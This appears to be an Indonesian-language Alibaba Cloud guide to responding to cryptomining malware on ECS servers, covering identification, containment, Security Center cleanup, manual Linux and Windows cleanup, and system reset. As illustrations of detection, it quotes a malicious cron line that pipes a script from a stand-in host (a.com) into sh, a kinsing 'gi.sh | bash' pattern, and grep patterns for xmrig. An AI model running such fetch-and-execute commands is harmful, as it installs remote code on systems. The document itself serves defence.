Setelah Instance ECS dikompromikan oleh program penambangan kripto, sumber daya CPU habis, layanan bisnis terganggu, dan malware tersebut dapat menyebar secara lateral di jaringan internal. Dokumen ini menjelaskan alur kerja tanggapan insiden yang lengkap—mulai dari penahanan segera dan analisis akar penyebab hingga pembersihan multi-jalur dan penguatan keamanan jangka panjang—untuk membantu Anda memulihkan keamanan sistem dengan cepat.
Rute umum intrusi penambangan kripto
Program penambangan kripto biasanya ditanamkan pada Instance ECS karena perlindungan keamanan yang tidak memadai, bukan karena masalah perangkat keras. Rute intrusi umum meliputi:
Serangan brute-force terhadap password SSH yang lemah: Penyerang memindai port SSH yang terbuka dan menggunakan serangan kamus untuk membobol password lemah, lalu menanamkan program penambangan kripto setelah mendapatkan akses ke server.
Akses Redis yang tidak sah: Jika Redis tidak dikonfigurasi dengan password atau di-bind ke alamat IP yang salah, penyerang dapat mengeksploitasi kemampuan penulisan file-nya untuk menanamkan skrip penambangan kripto.
Kerentanan aplikasi web: Penyerang mengeksploitasi kerentanan RCE atau unggah file untuk langsung mengeksekusi program penambangan kripto di server.
Langkah-langkah perlindungan:
Gunakan fitur Virus Detection and Removal dari Security Center untuk memindai dan menghapus program penambangan kripto secara berkala. Fitur ini memerlukan edisi Anti-virus atau lebih tinggi.
Pada security group ECS, batasi port mencurigakan (seperti 51827) agar hanya dapat diakses dari alamat IP tepercaya.
Tinjau secara berkala kunci publik SSH dan hapus kunci yang tidak sah.
Bahaya program penambangan kripto dan cara mengidentifikasinya
Bahaya
Konsumsi dan degradasi sumber daya: Program penambangan kripto mengonsumsi sumber daya CPU untuk komputasi intensif dalam menambang mata uang kripto, menyebabkan kehabisan CPU parah yang secara langsung berdampak pada operasi normal aplikasi bisnis lain di server.
Penyebaran seperti worm: Setelah perimeter keamanan berhasil ditembus, malware penambangan kripto dengan cepat menyebar secara lateral di jaringan internal dan membangun mekanisme persistensi di server yang dikompromikan untuk memastikan keuntungan jangka panjang.
Sulit dihapus: Program penambangan kripto menggunakan mekanisme perlindungan terkoordinasi, dan pembersihan yang tidak lengkap menyebabkan infeksi berulang. Beberapa varian, seperti xorddos, mengganti perintah sistem sehingga mengeksekusi perintah sistem normal memicu skrip berbahaya, membuat penghapusan menjadi lebih sulit.
Metode identifikasi
Degradasi performa drastis: Utilisasi CPU server secara periodik atau terus-menerus melebihi 80%, menyebabkan aplikasi bisnis merespons lambat atau sama sekali tidak tersedia.
Stabilitas sistem terganggu: Beban komputasi tinggi dari program penambangan kripto dapat menyebabkan crash sistem atau gangguan layanan.
Menerima peringatan keamanan: Security Center mengirim pemberitahuan peringatan saat mendeteksi program penambangan kripto, komunikasi dengan mining pool, atau akses ke nama domain jahat.
Mekanisme deteksi: Deteksi penambangan kripto di Security Center adalah mekanisme identifikasi backend otomatis. Tidak tersedia tool deteksi self-service khusus. Anda dapat melihat hasil deteksi di halaman Detection and Response > Security Events di Konsol.
Webshell sebagai indikator peringatan dini: Menemukan file backdoor webshell merupakan indikator peringatan dini bahwa program penambangan kripto mungkin telah ditanamkan. Penyerang biasanya mengunggah webshell terlebih dahulu, lalu menginstal dan menjalankan program penambangan kripto. Kami menyarankan untuk memeriksa daftar event keamanan guna melihat hubungan kronologis antara peringatan webshell dan peringatan penambangan kripto pada host yang sama.
Strategi tanggapan
Tanggapi dengan cepat untuk sepenuhnya menghapus program penambangan kripto dan backdoor persistensinya, memulihkan performa server normal, serta menerapkan penguatan keamanan guna mencegah kompromi di masa depan.
Biaya dan risiko
Biaya:
Security Center: Fitur lanjutan seperti Antivirus dan Deep Cleanup memerlukan edisi Anti-virus atau lebih tinggi. Tersedia uji coba gratis selama 7 hari.
Agentless Detection: Ini adalah layanan pay-as-you-go. Anda harus membeli fitur penagihan Agentless Detection secara terpisah.
Layanan Tanggap Darurat: Jika Anda tidak dapat menangani masalah sendiri, Anda dapat membeli Layanan Tanggap Darurat Alibaba Cloud untuk mendapatkan dukungan dari insinyur keamanan profesional.
Risiko:
Risiko pembersihan manual: Operasi manual dapat secara tidak sengaja menghapus file sistem atau mengubah konfigurasi, menyebabkan server gagal boot atau mengganggu operasi bisnis. Kami menyarankan membuat snapshot sebelum melakukan pembersihan manual apa pun.
Risiko kehilangan data: Re-initializing the system disk menghapus permanen semua data pada disk sistem. Jika Anda tidak membuat snapshot sebelumnya, data tersebut tidak dapat dipulihkan.
Arsitektur solusi
Panduan ini mengikuti model tanggapan insiden "discovery–containment–cleanup–hardening" dan menyediakan tiga jalur remediasi yang sesuai dengan kemampuan teknis dan skenario bisnis yang berbeda.
Pemeriksaan mandiri cepat dan penahanan darurat: Identifikasi ancaman dan kendalikan situasi secepat mungkin untuk mencegah kerusakan lebih lanjut. Tindakan utama meliputi mengidentifikasi proses abnormal dan koneksi jaringan, serta menggunakan security group untuk isolasi jaringan.
Keputusan dan pemilihan jalur: Berdasarkan keahlian teknis, batasan waktu, dan toleransi risiko Anda, pilih jalur pembersihan yang paling sesuai dari tiga opsi berikut:
Pembersihan otomatis dengan Security Center (Direkomendasikan): Gunakan tool otomatis yang disediakan oleh Security Center untuk menangani peringatan, memindai virus, dan menghapus backdoor persistensi secara efisien dan akurat.
Pembersihan manual: Cocok untuk profesional dengan pengalaman luas dalam operasi dan pemeliharaan Linux/Windows. Ini melibatkan pembersihan sistem mendalam melalui investigasi manual dan eksekusi perintah.
Reset sistem: Jika infeksi sudah sangat dalam atau berulang, cadangkan data Anda dan re-inisialisasi disk sistem untuk menghilangkan ancaman dari sumbernya.
Verifikasi dan penguatan keamanan: Setelah pembersihan, verifikasi bahwa sistem beroperasi normal dan terapkan langkah-langkah penguatan keamanan.
Prosedur
Pemeriksaan mandiri cepat dan penahanan darurat
Saat Anda menerima peringatan atau memperhatikan performa server abnormal, lakukan tindakan berikut untuk diagnosis awal dan penahanan darurat.
Identifikasi proses abnormal dan koneksi jaringan
Periksa proses ber-CPU tinggi: Login ke server dan jalankan perintah
top -cataups -eo pid,ppid,cmd,%cpu --sort=-%cpu | moreuntuk menemukan proses tak dikenal yang mengonsumsi sumber daya CPU tinggi dalam periode panjang.Periksa koneksi jaringan mencurigakan: Jalankan perintah
ss -ntpataunetstat -antpuntuk memeriksa koneksi ke alamat remote tak dikenal, terutama yang menggunakan port mining pool umum seperti 3333, 5555, dan 7775.
Lakukan penahanan darurat
Isolasi jaringan (Direkomendasikan): Ini adalah cara tercepat dan paling aman untuk menahan ancaman. Segera login ke Konsol ECS, modifikasi aturan security group untuk server, dan atur aturan outbound untuk menolak semua traffic. Izinkan akses hanya untuk port login remote (seperti SSH 22 atau RDP 3389) dari alamat IP tepercaya. Tindakan ini langsung memutus komunikasi antara program penambangan kripto dan mining pool-nya.
Hentikan proses berbahaya: Untuk setiap proses berbahaya yang teridentifikasi, jalankan perintah
kill -9 <PID>untuk menghentikannya. Perlu dicatat bahwa ini hanya tindakan sementara. Proses tersebut kemungkinan besar akan dimulai ulang jika mekanisme persistensinya tidak dihapus.
Security Center tidak menyediakan tool khusus untuk melacak alamat IP miner. Backend secara otomatis mendeteksi koneksi ke mining pool. Untuk mendapatkan alamat IP miner dan mining pool, pilih Detection and Response > Security Events, lalu periksa peringatan jenis suspicious network connection dan suspicious network traffic.
Status server setelah remediasi
Selama server tidak lagi menunjukkan aktivitas penambangan, Security Center tidak secara otomatis mematikan atau mengunci Instance ECS setelah Anda menangani peringatan penambangan kripto. Security Center adalah layanan deteksi dan peringatan, dan tidak memiliki kemampuan untuk mematikan atau mengunci instance.
Menangani peringatan secara manual: Di Konsol Security Center, buka halaman Alert, klik peringatan untuk melihat detailnya, lalu pilih Handled.
Kedaluwarsa otomatis: Jika Anda tidak menangani peringatan secara manual, peringatan tersebut akan diarsipkan secara otomatis sebagai expired data 30 hari setelah dibuat.
Lakukan pembersihan
Pilih salah satu metode pembersihan berikut berdasarkan situasi Anda.
Pembersihan otomatis dengan Security Center (direkomendasikan)
Prasyarat
Anda telah membeli edisi Anti-virus, Advanced, Enterprise, atau Ultimate dari Security Center.
CatatanAnda juga dapat mengaktifkan uji coba gratis 7 hari untuk menggunakan fitur terkait.
Untuk melakukan pemindaian penuh, Anda harus mengaktifkan fitur Agentless Detection, yang merupakan layanan pay-as-you-go.
Pastikan agen Security Center di server target sedang online.
Langkah 1: Tangani peringatan dan hentikan proses berbahaya
Gunakan fitur Alert di Security Center untuk menghentikan proses berbahaya dan mengkarantina file virus guna segera menghentikan program penambangan kripto. Untuk informasi lebih lanjut, lihat Evaluasi dan tangani peringatan keamanan. Langkah-langkah berikut memberikan contoh.
Login ke Konsol Security Center.
Di panel navigasi kiri, pilih Detection and Response > Security Events. Di pojok kiri atas konsol, pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.
Temukan peringatan penambangan kripto dan klik Details di kolom Actions untuk melihat detail peringatan.
PentingBerdasarkan informasi dasar dan deskripsi event yang disediakan di Konsol Security Center, Anda dapat menemukan program penambangan kripto dan memeriksa peringatan atau file mencurigakan lainnya. Anda harus menentukan apakah file yang memicu peringatan tersebut merupakan file bisnis yang sah atau file yang dijalankan oleh penyerang. Jika Anda memastikan ini adalah serangan, kami menyarankan setelah menangani peringatan penambangan kripto, Anda juga menangani semua peringatan dan file mencurigakan lainnya di server.
Di halaman detail peringatan, Anda juga dapat melihat alamat IP miner dan alamat IP tujuan yang digunakan untuk komunikasi dengan mining pool. Anda dapat menambahkan alamat IP ini ke security group dan menonaktifkannya untuk memblokir koneksi.
Kembali ke halaman Alerts untuk menangani peringatan penambangan kripto.
Klik Handle di kolom Actions untuk peringatan penambangan kripto target.
Di kotak dialog Handle Alert, pilih Virus Detection and Removal sebagai metode penanganan. Lalu, pilih Terminate Process atau Terminate Process and Quarantine Source File, lalu klik Handle Now untuk mencegah program berjalan kembali.
Jika Anda memastikan file yang menyebabkan peringatan bukan file bisnis, kami menyarankan memilih Terminate Process and Quarantine Source File untuk mencegah virus semakin menginfeksi server Anda.
CatatanSecurity Center mendukung fitur Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling). Jika Anda perlu memproses peringatan secara batch yang dipicu oleh aturan atau jenis yang sama, Anda dapat memilih Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).
Di halaman Alerts, temukan peringatan terkait yang dihasilkan oleh event penambangan kripto (seperti komunikasi dengan mining pool) dan lakukan aksi Block.
CatatanSecurity Center menghasilkan kebijakan yang sesuai untuk mencegah server mengakses mining pool, memberi Anda waktu yang cukup untuk menangani event keamanan tersebut. Anda juga dapat secara manual menambahkan alamat IP mining pool ke security group untuk memblokir akses. Untuk informasi lebih lanjut tentang cara menambahkan aturan security group, lihat Add a security group rule.
Di halaman Alerts, periksa apakah ada peringatan anomali perilaku proses untuk menentukan apakah terdapat tugas terjadwal abnormal, lalu tangani peringatan tersebut sesuai kebutuhan. Di panel detail peringatan Security Center, nama peringatan adalah Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, dengan status Pending. Bidang utama meliputi:
Nama proses:
bashPath proses:
/usr/bin/bashID proses: 14075
Username: root
Argumen command-line:
/bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1
Deskripsi event: Setelah peretas melakukan intrusi, skrip shell berbahaya ditulis ke crontab atau tugas terjadwal systemd untuk mencapai eksekusi persisten. Solusi yang direkomendasikan adalah memeriksa direktori seperti
/etc/crontab,/var/spool/cron/, dan/var/spool/cron/crontabs/untuk file tugas terjadwal mencurigakan, serta memperkuat password sistem.
Langkah 2: Pemindaian dan pembersihan mendalam
Setelah proses berbahaya dihentikan, mekanisme persistensinya seperti layanan auto-startup dan tugas terjadwal mungkin masih ada. Gunakan fitur Antivirus di Security Center untuk memindai dan membersihkannya. Untuk informasi lebih lanjut, lihat Antivirus. Langkah-langkah berikut memberikan contoh.
Login ke Konsol Security Center.Di panel navigasi kiri, pilih . Di pojok kiri atas konsol, pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.
Di halaman Virus Detection and Removal, klik Scan Now atau Scan Again.
Di panel Scan Settings, konfigurasikan mode pemindaian dan cakupan pemindaian, lalu klik OK.
Scan Mode: Pilih Quick Scan.
Scan Scope: Pilih server yang dikompromikan oleh program penambangan kripto.
Atur Scan Mode ke Quick Scan, dan gunakan tab By Asset untuk memfilter dan memilih server target.
Setelah pemindaian selesai, di halaman Virus Detection and Removal, klik Actions di kolom Handle untuk peringatan target.
Di panel Alert Handling, pilih Deep Cleanup, klik Next, lalu tunggu sistem memproses peringatan.
Setelah peringatan ditangani, lihat hasil dan status peringatan di halaman Alerts.
Di kotak dialog Handle Alert, pilih Deep Cleanup (direkomendasikan) sebagai metode penanganan. Deep Cleanup melakukan operasi berikut:
Menghentikan proses virus berbahaya
Mengkarantina sampel berbahaya
Menghapus mekanisme persistensi yang ditanamkan oleh penyerang (termasuk entri Crontab dan sumber unduhan berbahaya)
Di bagian metode perbaikan, pilih Auto-Create Snapshot and Repair, atur nama snapshot (misalnya,
VirusDefense_AlertRepair_DeepCleanup) dan periode retensi snapshot (misalnya, 1 day). Biaya snapshot sekitar CNY 0,15 per hari untuk disk sistem 40 GB.
Langkah 3: Pemindaian penuh
Untuk memastikan tidak ada file sisa yang tersisa, Anda dapat menggunakan fitur deteksi tanpa agen untuk melakukan pemindaian offline seluruh disk. Fitur ini hanya mendukung deteksi, bukan remediasi. Anda harus menangani risiko yang terdeteksi berdasarkan detail yang disediakan di halaman detail risiko. Untuk informasi lebih lanjut, lihat Agentless Detection.
Login ke Konsol Security Center.Pilih wilayah tempat aset yang akan dilindungi berada: Chinese Mainland atau Outside Chinese Mainland.
Di tab , di bagian Risk Detection, klik Scan Now.
Di panel Scan Now, konfigurasikan pengaturan seperti dijelaskan dalam tabel berikut lalu klik OK.
Scan Scope: Kami menyarankan memindai disk data untuk cakupan deteksi kerentanan dan peringatan yang lebih luas.
Image Retention Duration:
Nilainya dapat berkisar antara 1 hingga 365 hari.
Anda dikenai biaya untuk membuat image. Semakin lama Anda menyimpan image, semakin tinggi biayanya.
PentingJika Anda memilih Retain Only At-risk Image, sistem secara otomatis menghapus image yang bebas ancaman setelah pemindaian selesai.
Setelah Anda membuat tugas, Security Center secara otomatis membuat image dan melakukan pemindaian serta operasi selanjutnya. Untuk informasi lebih lanjut, lihat Automatic creation of snapshots and images.
CatatanDurasi pemindaian tergantung pada volume data. Tunggu hingga tugas selesai.
Setelah tugas deteksi selesai, tinjau dan tangani risiko kerentanan, kegagalan pemeriksaan baseline, peringatan keamanan, dan file sensitif yang terdeteksi.
Pembersihan manual
Program penambangan kripto membuat banyak backdoor persistensi, sehingga sulit dihapus. Jika Anda menghadapi virus penambangan kripto tanpa langganan Security Center, Anda dapat mengambil langkah-langkah berikut untuk menginvestigasi dan menanganinya.
Metode ini melibatkan modifikasi file dan konfigurasi. Sebelum melanjutkan, buat snapshot disk server untuk memastikan Anda dapat memulihkan data jika terjadi kesalahan operasional.
Sistem Linux
Blokir komunikasi jaringan berbahaya.
Setelah menemukan aktivitas penambangan kripto di host, langkah pertama adalah memblokir komunikasi jaringan Trojan penambangan kripto untuk segera mengendalikan dampaknya, karena remediasi penuh bisa memakan waktu lama.
Jalankan perintah berikut untuk memeriksa koneksi jaringan sistem saat ini.
netstat -antp[root@ixxx poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx:xxx 0.0.0.0:* LISTEN 1399/sshd tcp 0 0 12xxx:xxx 0.0.0.0:* LISTEN 1121/master tcp 0 0 127.0.0.xxx:xxx 0.0.0.0:* LISTEN 8847/node tcp 0 0 0.0.xxx:xxx 0.0.0.0:* LISTEN 572/rpcbind tcp 0 0 127.xxx:xxx 12x.x.x.1:xxx ESTABLISHED 8988/node tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 127.xxx:xxx 12x.xxx:xxx ESTABLISHED 8847/node tcp 0 0 127.xxx:xxx 127.x.x.x ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xxx:xxx 10x.xxx:xxx ESTABLISHED 17704/AliHips tcp 0 0 17x.xxx:xxx 18x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 1xx.xxx:xxx 12x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1xx.xxx:xxx 100.xxx:xxx TIME_WAIT - tcp 0 0 1xx.xxx:xxx3 10x.xxx:xxx ESTABLISHED 1506/AliYunDun tcp 0 0 17x.xxx:xxx22 14x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :::xxx :::* LISTEN 1121/master tcp6 0 0 :::xxx :::* LISTEN 572/rpcbindDalam perintah berikut, ganti
C&C addressdengan alamat remote mencurigakan (Foreign Address) yang tidak digunakan oleh operasi bisnis normal Anda. Lalu, jalankan perintah untuk menambahkan aturan firewall guna memblokir semua koneksi jaringan antara server dan alamat mencurigakan tersebut.iptables -A INPUT -s C&C address -j DROP iptables -A OUTPUT -d C&C address -j DROP
Bersihkan tugas terjadwal.
Trojan penambangan kripto sering menggunakan tugas terjadwal untuk mengunduh (memperbarui) dan memulai Trojan secara periodik. Hanya membersihkan proses dan file Trojan saja tidak cukup untuk memberantas program tersebut dan dapat menyebabkan infeksi berulang.
Investigasi file tugas terjadwal berikut dan hapus tugas apa pun yang terkait dengan pengunduhan atau pemulaian Trojan penambangan kripto.
Lihat tugas terjadwal untuk pengguna saat ini atau pengguna tertentu (
username).crontab -l crontab -u username -lSemua file tugas terjadwal di host.
/etc/crontab /var/spool/cron/ /etc/anacrontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
Bersihkan layanan auto-startup.
Jalankan perintah berikut untuk menginvestigasi semua layanan auto-startup di sistem.
systemctl list-unit-files | grep enabledTemukan file unit untuk layanan mencurigakan dan periksa detailnya.
Ganti
*dengan nama layanan dan<service_unit_name>dengan nama file unit layanan.ls -al /etc/systemd/system/*.service ls -al /usr/lib/systemd/system/*.service # View service details (the process file started by the service) cat /etc/systemd/system/<service_unit_name>.serviceJika Anda menemukan layanan auto-startup berbahaya, gunakan perintah berikut untuk menonaktifkan layanan dan menghapus file unit-nya.
Ganti
<service name>dengan nama layanan dan<service_unit_name>dengan nama file unit layanan.systemctl disable <service name> rm /etc/systemd/system/<service_unit_name>.service rm /usr/lib/systemd/system/<service_unit_name>.serviceInvestigasi path layanan berikut untuk layanan auto-startup dan bersihkan menggunakan langkah-langkah di atas.
/etc/rc.local /etc/inittab /etc/rc.d/ /etc/init.d/
Bersihkan kunci publik SSH.
Trojan penambangan kripto sering menambahkan kunci publik SSH penyerang ke file
~/.ssh/authorized_keys. Hal ini memungkinkan penyerang login ke host yang dikompromikan tanpa password dan menginstal ulang file berbahaya. Investigasi file~/.ssh/authorized_keysdan segera hapus kunci publik mencurigakan apa pun.Bersihkan pembajakan
.so.File
.soyang dipra-muat, yang diatur melalui file/etc/ld.so.preload, dapat membajak perintah sistem umum sepertitop, , dan untuk menyembunyikan proses penambangan kripto.Jalankan perintah berikut untuk menginvestigasi file
.soyang dipra-muat.cat /etc/ld.so.preloadJalankan perintah berikut untuk menghapus pembajakan pra-muat.
echo > /etc/ld.so.preload
Bersihkan akun berbahaya.
Beberapa keluarga Trojan penambangan kripto membuat akun backdoor baru untuk mempertahankan kendali jangka panjang atas host yang dikompromikan. Jalankan perintah berikut untuk memeriksa akun berbahaya, lalu hapus informasi akun terkait secara manual.
Periksa log untuk aktivitas pembuatan akun terbaru.
cat /var/log/audit/audit.log | grep useradd # Or cat /var/log/secure | grep 'new user'Periksa file
/etc/passwduntuk akun mencurigakan.cut -d: -f1 /etc/passwdPeriksa waktu pembuatan atau terakhir aktif dari direktori
homeakun. Perhatikan khusus direktorihomeyang baru dibuat.stat /home/guest/
Lawan teknik anti-modifikasi.
Setelah menulis file persistensi seperti tugas terjadwal dan layanan auto-startup, beberapa Trojan penambangan kripto mengatur atribut immutable pada file untuk mencegah mekanisme persistensi dihapus.
[root@iZxxx poc]# rm /etc/cron.hourly/logrotate rm: remove regular file '/etc/cron.hourly/logrotate'? y rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate bash: /etc/cron.hourly/logrotate: Permission denied [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate ----i---------e-- /etc/cron.hourly/logrotateJika Anda menghadapi situasi ini, jalankan perintah berikut untuk mengembalikan atribut file sebelum menghapus tugas terkait.
chattr -i /etc/passwd chattr -i /etc/crontabHentikan proses Trojan penambangan kripto.
Proses penambangan kripto biasanya mengonsumsi sumber daya CPU tinggi. Anda dapat menggunakan perintah berikut untuk menginvestigasi proses penambangan kripto mencurigakan.
Investigasi proses yang mengonsumsi banyak CPU host.
top -cPerhatikan nilai
99.4 usdi baris%Cpu(s)(menunjukkan penggunaan CPU ruang pengguna) dan proses/root/.config/logrotateyang mengonsumsi CPU 395.0% di daftar proses.top – 11:42:28 up 5 days, 1:30, 0 users, load average: 2.71, 0.84, 0.32 Tasks: 114 total, 1 running, 110 sleeping, 3 stopped, 0 zombie %Cpu(s): 99.4 us, 0.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 7732792 total, 5724224 free, 562256 used, 1446312 buff/cache KiB Swap: 0 total, 0 free, 0 used. 6911024 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16901 root 20 0 320776 3220 2308 S 395.0 0.0 2:31.13 /root/.config/logrotateps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more[root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more PID PPID CMD %CPU 16901 1 /root/.config/logrotate 208 8988 8847 /root/.vscode-server/bin/2d 3.9Investigasi perilaku koneksi jaringan abnormal.
netstat -antpOutput menunjukkan bahwa proses
16901/logrotatememiliki koneksi jaringan ESTABLISHED abnormal, yang merupakan perilaku mencurigakan.[root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx.xxx.xx xxx.xxx.xxx LISTEN 1399/sshd tcp 0 0 12x.x.x.xxx 0.x.x.x LISTEN 1121/master tcp 0 0 1xx.x.x.xxx xxx.xxx.xxx LISTEN 8847/node tcp 0 0 0.xxx.xxx x.x.x.x LISTEN 572/rpcbind tcp 0 0 12x.xxx.x.xxxxx 127.0.0.1.xxxxx ESTABLISHED 8988/node tcp 0 0 17x.xx.xxx.xxx.xxxxx xxx TIME_WAIT - tcp 0 0 17x.xx xxx.xxx TIME_WAIT - tcp 0 0 1xx.x.0.1.xxxxx xxx.xxx ESTABLISHED 8847/node tcp 0 0 12x.x.x.xxx xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1x.xxx.xxx.xxxxx xxx.xxx.xxx.xxx ESTABLISHED 17704/AliHips tcp 0 0 172.xx.xxx.x:1200 xxx.xxx.x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 12x.x.x.xxx:x 12x.xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xx.xxx.xxxxx xxx.xxx.xx.xxx.xx TIME_WAIT - tcp 0 0 17x.xx.xxx xxx.xxx ESTABLISHED 1506/AliYunDun tcp 0 0 1xx.xx xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :xxx xxx LISTEN 1121/master tcp6 0 0 :::xxx xxx LISTEN 572/rpcbindDapatkan path file dari proses mencurigakan.
ls -al /proc/$PID/exeHitung hash MD5 dari file proses dan cari di platform Intelijen Ancaman Alibaba Cloud.
md5sum /proc/$PID/exeHalaman hasil kueri menampilkan informasi berikut:
Tingkat risiko file (misalnya, Medium) dan aktivitas terbaru.
Detail file, termasuk nama file, lingkungan runtime, dan waktu pertama kali ditemukan.
Nilai hash, termasuk MD5, SHA1, dan SHA256.
Jalankan perintah berikut untuk menghentikan proses penambangan kripto dan membersihkan file Trojan.
kill -9 $PID # Delete the process path obtained from ls -al /proc/$PID/exe rm /path/to/executable
Sistem Linux (kasus penambangan kripto spesifik)
Penambangan kripto yang menyamar sebagai AliyunDuns
Jalankan perintah berikut untuk menginvestigasi entri auto-startup persisten.
grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/* grep -rl "wget" /etc/cron.hourly/*Jika ditemukan hasil apa pun, berarti ada layanan auto-startup. Jalankan perintah berikut untuk menghapusnya.
rm -f /etc/systemd/system/sysetmd.service rm -f /etc/systemd/system/monero.service rm -f /etc/systemd/system/A_li_yun_Duns.service chattr -i /etc/cron.hourly/0 rm -f /etc/cron.hourly/0Investigasi dan tangani pengguna mencurigakan.
Jalankan perintah berikut untuk mengkueri daftar pengguna sistem dan mengidentifikasi username mencurigakan.
cat /etc/passwdJalankan perintah berikut untuk melihat informasi tentang pengguna sistem abnormal. Dalam contoh ini, penggunanya adalah
shaojiang99.cat /etc/passwd | grep shaojiang99 cat /etc/shadow | grep shaojiang99Jalankan perintah berikut untuk menghapus pengguna sistem mencurigakan.
chattr -i /etc/passwd chattr -i /etc/shadow sed -i '/^shaojiang99:/d' /etc/shadow sed -i '/^shaojiang99:/d' /etc/passwd
Remediasi manual untuk Skidmap
Jalankan perintah berikut untuk menghapus entri layanan auto-startup.
echo "" > /lib/systemd/system/systemd-cgroup.service echo "" > /lib/systemd/system/systemd-deltaed.service echo "" > /usr/bin/systemd-cgroup.org echo "" > /usr/bin/systemd-cgroup echo "" > /usr/bin/systemd-deltaed echo "" > /usr/bin/systemd-deltaed.orgBersihkan secara manual file kunci publik SSH
authorized_keysdengan menghapus kunci mencurigakan apa pun.
Remediasi manual untuk Cleanfda
Investigasi path tugas terjadwal berikut untuk eksekusi skrip mencurigakan (misalnya,
/etc/upat.sh)./var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontabInvestigasi perintah yang dimodifikasi (program asli seperti
ps,pstree, dantopakan diganti namanya dengan akhiran.original).ls -al /usr/bin | grep originalInvestigasi kunci publik SSH dan hapus kunci yang tidak dikenal.
cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys
Contoh:
# Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree
# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2
# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keysPenambangan kripto keluarga Outlaw
Periksa semua tugas terjadwal
cronuntuk string.configrc5/.Path tugas terjadwal:
/var/spool/cron/root /var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontabJalankan perintah berikut untuk menginvestigasi.
grep -r ".configrc5/" /var/spool/cron/* grep -r ".configrc5/" /etc/cron*
Jika ditemukan, jalankan perintah berikut untuk menghapus file terkait.
rm -rf /tmp/.X2xi-unix/.rsync rm -rf ~/.configrc5
Penambangan kripto keluarga kinsing
Jalankan perintah berikut untuk menginvestigasi tugas terjadwal
cron. Cari konten yang mirip dengangi.sh | bash > /dev/null. Jika ada, hapus baris tersebut.grep -r "gi.sh | bash > /dev/null" /etc/cron* grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*Jalankan perintah berikut untuk memeriksa apakah layanan
/lib/systemd/system/bot.serviceada.cat /lib/systemd/system/bot.serviceJika layanan tersebut ada, jalankan perintah berikut untuk memeriksa
/etc/ld.so.preloaduntuk filelibsystem.so.cat /etc/ld.so.preloadSetelah menemukan path file
libsystem.so, hapus file tersebut.
Sistem Windows
Di PowerShell, jalankan perintah berikut untuk menginvestigasi proses penambangan kripto mencurigakan berdasarkan penggunaan CPU.
Catatanps | sort -des cpu While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}Jalankan perintah berikut untuk melihat path executable dan argumen command-line dari proses penambangan kripto.
Catatanwmic process where processid=xxx get processid,executablepath,commandline,name // xxx is the process PIDHentikan proses penambangan kripto dan bersihkan file Trojan.
Jalankan perintah berikut untuk memeriksa koneksi pada port jaringan mencurigakan.
Catatannetstat -ano | findstr xxx // xxx is the suspicious network portJalankan perintah berikut untuk memeriksa apakah file hosts server berisi alamat mining pool dari program penambangan kripto.
Catatantype C:\Windows\System32\drivers\etc\hostsJalankan perintah berikut untuk memeriksa apakah ada tugas terjadwal yang diatur oleh program penambangan kripto.
Catatanschtasks /query
Reset sistem
Jika virus telah menginfiltrasikan sistem secara mendalam, masalah berulang setelah pembersihan manual, atau server tidak berisi data bisnis penting, kami merekomendasikan opsi ini. Kami sangat menyarankan Anda mencadangkan data penting sebelum mereset sistem server untuk memastikan pembersihan lengkap program penambangan kripto.
Buat snapshot untuk mencadangkan data penting di server. Untuk informasi lebih lanjut, lihat Create a snapshot for a disk.
Re-inisialisasi disk sistem: Di Konsol ECS, pilih instance target dan lakukan operasi Re-initialize System Disk. Tindakan ini sepenuhnya menghapus disk sistem dan mengembalikannya ke kondisi awal. Untuk informasi lebih lanjut, lihat Re-initialize a system disk (reset an operating system).
